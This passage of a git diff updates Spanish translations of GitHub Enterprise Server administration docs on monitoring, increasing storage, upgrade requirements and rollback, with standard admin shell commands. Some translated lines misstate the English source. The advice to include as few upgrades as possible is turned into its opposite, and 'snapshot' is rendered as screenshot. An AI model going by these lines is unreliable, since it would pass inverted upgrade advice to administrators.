       $ ghe-repl-teardown -u <em>UUID</em>
       ```
 
-## Further reading
+## Leer más
 
-- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
+- "[Utilidades para la gestión de replicaciones](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
diff --git a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
index 4aeedc0689..b3d748c4d6 100644
--- a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
+++ b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
@@ -3,7 +3,7 @@ title: Configurar collectd
 intro: '{% data variables.product.prodname_enterprise %} puede reunir datos con `collectd` y enviarlos a un servidor `collectd` externo. Entre otras métricas, reunimos un conjunto estándar de datos, como la utilización de la CPU, el consumo de memoria y de disco, el tráfico y los errores de la interfaz de red y la carga general de la VM.'
 redirect_from:
   - /enterprise/admin/installation/configuring-collectd
-  - /enterprise/admin/articles/configuring-collectd/
+  - /enterprise/admin/articles/configuring-collectd
   - /enterprise/admin/enterprise-management/configuring-collectd
   - /admin/enterprise-management/configuring-collectd
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/index.md
index d48e143568..afb940ec71 100644
--- a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/index.md
+++ b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/index.md
@@ -2,8 +2,8 @@
 title: Monitorear tu aplicativo
 intro: 'Debido a que el uso {% data variables.product.product_location %} aumenta con el tiempo, se incrementará la utilización de recursos del sistema, como el CPU, la memoria, y el almacenamiento. Puedes configurar una revisión y alertas para que estar al tanto de problemas potenciales antes de que se vuelvan lo suficientemente críticos para impactar de forma negativa en el desempeño de la aplicación o su disponibilidad.'
 redirect_from:
-  - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting/
-  - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance/
+  - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting
+  - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance
   - /enterprise/admin/installation/monitoring-your-github-enterprise-server-appliance
   - /enterprise/admin/enterprise-management/monitoring-your-appliance
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
index d8bb04f93b..eea6843caf 100644
--- a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
+++ b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
@@ -3,7 +3,7 @@ title: Supervisar por medio de SNMP
 intro: '{% data variables.product.prodname_enterprise %} proporciona datos sobre el uso del disco, la utilización del CPU, el uso de la memoria y más sobre SNMP.'
 redirect_from:
   - /enterprise/admin/installation/monitoring-using-snmp
-  - /enterprise/admin/articles/monitoring-using-snmp/
+  - /enterprise/admin/articles/monitoring-using-snmp
   - /enterprise/admin/enterprise-management/monitoring-using-snmp
   - /admin/enterprise-management/monitoring-using-snmp
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
index ebda40a5e1..92e32d67d6 100644
--- a/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
+++ b/translations/es-ES/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md
@@ -2,7 +2,7 @@
 title: Límites de alerta recomendados
 intro: 'Puedes configurar una alerta para notificar los problemas de tus recursos de sistema antes de que afecten el desempeño de tu aparato {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
-  - /enterprise/admin/guides/installation/about-recommended-alert-thresholds/
+  - /enterprise/admin/guides/installation/about-recommended-alert-thresholds
   - /enterprise/admin/installation/about-recommended-alert-thresholds
   - /enterprise/admin/installation/recommended-alert-thresholds
   - /enterprise/admin/enterprise-management/recommended-alert-thresholds
diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
index b17df486d0..0220eefe2f 100644
--- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
+++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md
@@ -1,6 +1,6 @@
 ---
-title: Increasing storage capacity
-intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.'
+title: Aumentar la capacidad de almacenamiento
+intro: 'Puedes aumentar o cambiar la cantidad de almacenamiento disponible para los repositorios de Git, las bases de datos, los índices de búsqueda y otros datos de aplicaciones persistentes.'
 redirect_from:
   - /enterprise/admin/installation/increasing-storage-capacity
   - /enterprise/admin/enterprise-management/increasing-storage-capacity
@@ -13,80 +13,81 @@ topics:
   - Infrastructure
   - Performance
   - Storage
-shortTitle: Increase storage capacity
+shortTitle: Incrementar la capacidad de almacenamiento
 ---
+
 {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %}
 
-As more users join {% data variables.product.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage.
+A medida que se suman usuarios {% data variables.product.product_location %}, es posible que necesites ajustar el tamaño de tu volumen de almacenamiento. Consulta la documentación de tu plataforma de virtualización para obtener más información sobre ajuste de tamaño de almacenamiento.
 
-## Requirements and recommendations
+## Requisitos y recomendaciones
 
 {% note %}
 
-**Note:** Before resizing any storage volume, put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**Nota:** Antes de ajustar el tamaño de cualquier volumen de almacenamiento, pon tu instancia en modo de mantenimiento. Para obtener más información, consulta "[Habilitar y programar el modo mantenimiento](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
 
 {% endnote %}
 
-### Minimum requirements
+### Requisitos mínimos
 
 {% data reusables.enterprise_installation.hardware-rec-table %}
 
-## Increasing the data partition size
+## Aumentar el tamaño de partición de datos
 
-1. Resize the existing user volume disk using your virtualization platform's tools.
+1. Ajusta el disco de volumen existente del usuario utilizando las herramientas de tu plataforma de virtualización.
 {% data reusables.enterprise_installation.ssh-into-instance %}
-3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
-4. Reboot the appliance to detect the new storage allocation:
+3. Pon el aparato en modo mantenimiento. Para obtener más información, consulta "[Habilitar y programar el modo mantenimiento](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+4. Reinicia el aparato para detectar la nueva asignación de almacenamiento:
   ```shell
   $ sudo reboot
   ```
-5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem:
+5. Ejecuta el comando `ghe-storage-extend` para expandir el sistema de archivos `/data/user`:
   ```shell
   $ ghe-storage-extend
   ```
 
-## Increasing the root partition size using a new appliance
+## Aumentar el tamaño de partición raíz utilizando un nuevo aparato
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
-2. Shut down the current appliance:
+1. Configura una nueva instancia {% data variables.product.prodname_ghe_server %} con un disco raíz más grande utilizando la misma versión que tu aparato actual. Para obtener más información, consulta "[Configurar una instancia {% data variables.product.prodname_ghe_server %} ](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
+2. Cierra el aparato actual:
   ```shell
   $ sudo poweroff
   ```
-3. Detach the data disk from the current appliance using your virtualization platform's tools.
-4. Attach the data disk to the new appliance with the larger root disk.
+3. Desconecta el disco de datos de tu aparato actual utilizando las herramientas de tu plataforma de virtualización.
+4. Conecta el disco de datos al nuevo aparato con un disco raíz más grande.
 
-## Increasing the root partition size using an existing appliance
+## Aumentar el tamaño de partición raíz utilizando un aparato existente
 
 {% warning %}
 
-**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+**Advertencia:** Antes de incrementar el tamaño de la partición raíz, debes poner tu instancia en modo de mantenimiento. Para obtener más información, consulta "[Habilitar y programar el modo mantenimiento](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
 
 {% endwarning %}
 
-1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance.
-1. Run the `parted` command to format the disk:
+1. Conecta un nuevo disco a tu aparato {% data variables.product.prodname_ghe_server %}.
+1. Ejecuta el comando `parted` para formatear el disco:
   ```shell
   $ sudo parted /dev/xvdg mklabel msdos
   $ sudo parted /dev/xvdg mkpart primary ext4 0% 50%
   $ sudo parted /dev/xvdg mkpart primary ext4 50% 100%
   ```
-1. To stop replication, run the `ghe-repl-stop` command.
+1. Para detener la replicación, ejecuta el comando `ghe-repl-stop`.
 
    ```shell
    $ ghe-repl-stop
    ```
-   
-1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate.
+
+1. Ejecuta el comando `ghe-upgrade` para instalar un paquete específico de plataforma completo al disco recientemente particionado. Un paquete de actualización de hotpatch universal, como `github-enterprise-2.11.9.hpkg` no funcionará como se espera. Después de que se complete el comando `ghe-upgrade`, los servicios de aplicación se terminarán automáticamente.
 
   ```shell
   $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1
   ```
-1. Shut down the appliance:
+1. Cierra el aparato:
   ```shell
   $ sudo poweroff
   ```
-1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk.
-1. Start the appliance.
-1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. En el hipervisor, quita el disco raíz anterior y agrega el nuevo disco raíz en la misma ubicación del disco raíz anterior.
+1. Inicia el aparato.
+1. Asegúrate de que los servicios de sistema estén funcionando correctamente y luego sal del modo de mantenimiento. Para obtener más información, consulta "[Habilitar y programar el modo mantenimiento](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
 
-If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded.
+Si tu aplicativo se configura para la disponibilidad alta o geo-replicación, recuerda iniciar la replicación en cada nodo de réplica utilizando `ghe-repl-start` después de que se haya mejorado el almacenamiento en todos los nodos.
diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
index 4d743ca602..ffdb55ae85 100644
--- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
+++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md
@@ -2,8 +2,8 @@
 title: Actualizar la máquina virtual y los recursos físicos
 intro: 'La actualización del software virtual y del hardware virtual requiere algo de tiempo de inactividad para tu instancia, por ello asegúrate de planear tu actualización de antemano.'
 redirect_from:
-  - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-the-vm/'
-  - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-physical-resources/'
+  - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-the-vm'
+  - '/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-physical-resources'
   - /enterprise/admin/installation/updating-the-virtual-machine-and-physical-resources
   - /enterprise/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
index 40551ed5bf..ea2ccfb659 100644
--- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
+++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md
@@ -2,11 +2,11 @@
 title: Migrar desde GitHub Enterprise 11.10.x a 2.1.23
 redirect_from:
   - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123
-  - /enterprise/admin-guide/migrating/
-  - /enterprise/admin/articles/migrating-github-enterprise/
-  - /enterprise/admin/guides/installation/migrating-from-github-enterprise-v11-10-34x/
-  - /enterprise/admin/articles/upgrading-to-a-newer-release/
-  - /enterprise/admin/guides/installation/migrating-to-a-different-platform-or-from-github-enterprise-11-10-34x/
+  - /enterprise/admin-guide/migrating
+  - /enterprise/admin/articles/migrating-github-enterprise
+  - /enterprise/admin/guides/installation/migrating-from-github-enterprise-v11-10-34x
+  - /enterprise/admin/articles/upgrading-to-a-newer-release
+  - /enterprise/admin/guides/installation/migrating-to-a-different-platform-or-from-github-enterprise-11-10-34x
   - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23
   - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
   - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123
diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
index 2111abfe4f..9ae1299908 100644
--- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
+++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md
@@ -1,9 +1,9 @@
 ---
-title: Upgrade requirements
-intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.'
+title: Requisitos de actualización
+intro: 'Antes de actualizar el {% data variables.product.prodname_ghe_server %}, revisa estas recomendaciones y requisitos para planificar tu estrategia de actualización.'
 redirect_from:
   - /enterprise/admin/installation/upgrade-requirements
-  - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release/
+  - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release
   - /enterprise/admin/enterprise-management/upgrade-requirements
   - /admin/enterprise-management/upgrade-requirements
 versions:
@@ -13,41 +13,42 @@ topics:
   - Enterprise
   - Upgrades
 ---
+
 {% note %}
 
-**Notes:**
-{% ifversion ghes < 3.3 %}- Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.{% endif %}
-- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance.
-- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering.
-- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases).
+**Notas:**
+{% ifversion ghes < 3.3 %}- Las características tales como {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} y {% data variables.product.prodname_GH_advanced_security %} se encuentran disponibles en {% data variables.product.prodname_ghe_server %} 3.0 o superior. Te recomendamos ampliamente actualizar a la versión 3.0 o superior de los lanzamientos para que tengas todas las ventajas de las actualizaciones de seguridad, correcciones de errores y mejoras de características.{% endif %}
+- Los paquetes de actualización están disponibles en [enterprise.github.com](https://enterprise.github.com/releases) para las versiones admitidas. Verifica la disponibilidad de los paquetes de actualización, deberás completar la actualización. Si un paquete no está disponible, contacta a {% data variables.contact.contact_ent_support %} para obtener ayuda.
+- Si estás usando una Agrupación del {% data variables.product.prodname_ghe_server %}, consulta "[Actualizar una agrupación](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" en la Guía de Agrupación del {% data variables.product.prodname_ghe_server %} para obtener instrucciones específicas únicas para agrupaciones.
+- Estas notas de lanzamiento para el {% data variables.product.prodname_ghe_server %} brindan una lista detallada de las nuevas características de cada versión del {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta las [páginas de lanzamiento](https://enterprise.github.com/releases).
 
 {% endnote %}
 
-## Recommendations
+## Recomendaciones
 
-- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
-- If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step.
-- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
-- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)."
-- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete.
-- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." 
-- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme).
+- Incluye tantas nuevas actualizaciones como sea posible en tu proceso de actualización. Por ejemplo, en lugar de actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.supported[1] }} a {{ enterpriseServerReleases.latest }}, podrías actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.latest }}. Utiliza el [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) para encontrar la ruta de mejora desde tu versión de lanzamiento actual.
+- Si estás varias versiones desactualizado, actualiza {% data variables.product.product_location %} tanto como sea posible con cada paso de tu proceso de actualización. Utilizar la versión más reciente posible en cada actualización te permite aprovechar las mejoras de desempeño y las correcciones de errores. Por ejemplo, podrías actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.8 a 2.10, pero actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.9 a 2.10 utiliza una versión posterior en el segundo paso.
+- Utiliza el lanzamiento de patch más reciente cuando actualices. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
+- Utiliza una instancia de preparación para probar los pasos de actualización. Para obtener más información, consulta "[Configurar una instancia de preparación](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)."
+- Cuando ejecutas varias mejoras, espera por lo menos 24 horas entre las mejoras a las características para permitir que se completen totalmente las migraciones de datos y actualizaciones de las tareas que se ejecutan en segundo plano.
+- Toma una captura de pantalla antes de que mejores tu máquina virtual. Para obtener más información, consulta "[Tomar una instantánea](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)."
+- Asegúrate de que tienes un respaldo reciente y exitoso de tu instancia. Para obtener más información, consulta el archivo README.md en [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme).
 
-## Requirements
+## Requisitos
 
-- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}.
-- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users.
+- Debes actualizar desde una característica de lanzamiento que sea **como máximo** dos lanzamientos anteriores. Por ejemplo, para actualizar a {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, debes estar en {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} o {{ enterpriseServerReleases.supported[2] }}.
+- Cuando hagas una mejora mediante un paquete de mejora, programa una ventana de mantenimiento para los usuarios finales de {% data variables.product.prodname_ghe_server %}.
 - {% data reusables.enterprise_installation.hotpatching-explanation %}
-- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time.
-- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage.
-- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. Pre-flight checks will consider the load average and the upgrade will fail if the load average is too high.- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command:
+- Es posible que un hotpatch requiera tiempo de inactividad si los servicios afectados (como kernel, MySQL, o Elasticsearch) requieren un reinicio de VM o un reinicio del servicio. Se te notificará cuando se necesite reiniciar. Puedes completar el reinicio más tarde.
+- Es necesario que haya un almacenamiento raíz adicional disponible cuando se actualiza a través de un hotpatch, ya que instala múltiples versiones de determinados servicios hasta que se completa la actualización. El control de prevuelo te notificará si no tienes suficiente almacenamiento de disco raíz.
+- Cuando se actualiza a través de un hotpatch, tu instancia no puede estar muy cargada, ya que puede impactar el proceso del hotpatch. Los controles de pre-vuelo considerarán la carga promedio y, posteriormente, la mejora fallará si dicha carga promedio es demasiado alta. - Mejorar a {% data variables.product.prodname_ghe_server %} 2.17 migrará sus registros de auditoría de Elasicsearch a MySQL. Esta migración también incrementa la cantidad de tiempo y el espacio en disco que lleva restaurar una instantánea. Antes de migrar, controla el número de bytes en tus índices de registro de auditoría de ElasticSearch con este comando:
 ``` shell
 curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes
 ```
-Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration.
+Utiliza el número para estimar la cantidad de espacio de disco que los registros de auditoría de MySQL necesitarán. El script también controla tu espacio libre en disco mientras la importación está en progreso. Controlar este número es especialmente útil si tu espacio libre en disco está cerca de la cantidad de espacio en disco necesaria para la migración.
 
 {% data reusables.enterprise_installation.upgrade-hardware-requirements %}
 
-## Next steps
+## Pasos siguientes
 
-After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)."
+Después de revisar estas recomendaciones y requisitos, puedes actualizar el {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Actualizar {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)."
diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
index 4f60cb3784..d1fe3ba6fd 100644
--- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
+++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
@@ -3,15 +3,15 @@ title: Upgrading GitHub Enterprise Server
 intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.'
 redirect_from:
   - /enterprise/admin/installation/upgrading-github-enterprise-server
-  - /enterprise/admin/articles/upgrading-to-the-latest-release/
-  - /enterprise/admin/articles/migrations-and-upgrades/
-  - /enterprise/admin/guides/installation/upgrading-the-github-enterprise-virtual-machine/
-  - /enterprise/admin/guides/installation/upgrade-packages-for-older-releases/
-  - /enterprise/admin/articles/upgrading-older-installations/
-  - /enterprise/admin/hidden/upgrading-older-installations/
-  - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch-early-access-program/
-  - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch/
-  - /enterprise/admin/guides/installation/upgrading-github-enterprise/
+  - /enterprise/admin/articles/upgrading-to-the-latest-release
+  - /enterprise/admin/articles/migrations-and-upgrades
+  - /enterprise/admin/guides/installation/upgrading-the-github-enterprise-virtual-machine
+  - /enterprise/admin/guides/installation/upgrade-packages-for-older-releases
+  - /enterprise/admin/articles/upgrading-older-installations
+  - /enterprise/admin/hidden/upgrading-older-installations
+  - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch-early-access-program
+  - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch
+  - /enterprise/admin/guides/installation/upgrading-github-enterprise
   - /enterprise/admin/enterprise-management/upgrading-github-enterprise-server
   - /admin/enterprise-management/upgrading-github-enterprise-server
 versions:
@@ -225,7 +225,9 @@ If an upgrade fails or is interrupted, you should revert your instance back to i
 
 ### Rolling back a patch release
 
-To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+
+Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas. 
 
 For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)."
 
diff --git a/translations/es-ES/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md b/translations/es-ES/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md
index f817b45727..1e69e9e19b 100644
--- a/translations/es-ES/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md
+++ b/translations/es-ES/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md
@@ -2,8 +2,8 @@
 title: Acerca del Soporte prémium de GitHub para GitHub Enterprise Server
 intro: '{% data variables.contact.premium_support %} es una oferta de soporte remunerado, adicional para clientes de {% data variables.product.prodname_enterprise %}.'
 redirect_from:
-  - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise/
-  - /enterprise/admin/guides/enterprise-support/about-premium-support/
+  - /enterprise/admin/guides/enterprise-support/about-premium-support-for-github-enterprise
+  - /enterprise/admin/guides/enterprise-support/about-premium-support
   - /enterprise/admin/enterprise-support/about-github-premium-support-for-github-enterprise-server
   - /admin/enterprise-support/about-github-premium-support-for-github-enterprise-server
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/index.md b/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/index.md
index 21d92cea79..afe893d3dc 100644
--- a/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/index.md
+++ b/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/index.md
@@ -2,7 +2,7 @@
 title: Recibir ayuda desde Soporte de GitHub
 intro: 'Puedes contactar a {% data variables.contact.enterprise_support %} para reportar varios problemas de tu empresa.'
 redirect_from:
-  - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support/
+  - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support
   - /enterprise/admin/enterprise-support/receiving-help-from-github-support
 versions:
   ghes: '*'
diff --git a/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md b/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md
index c26a61c6da..db158a64e9 100644
--- a/translations/es-ES/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md
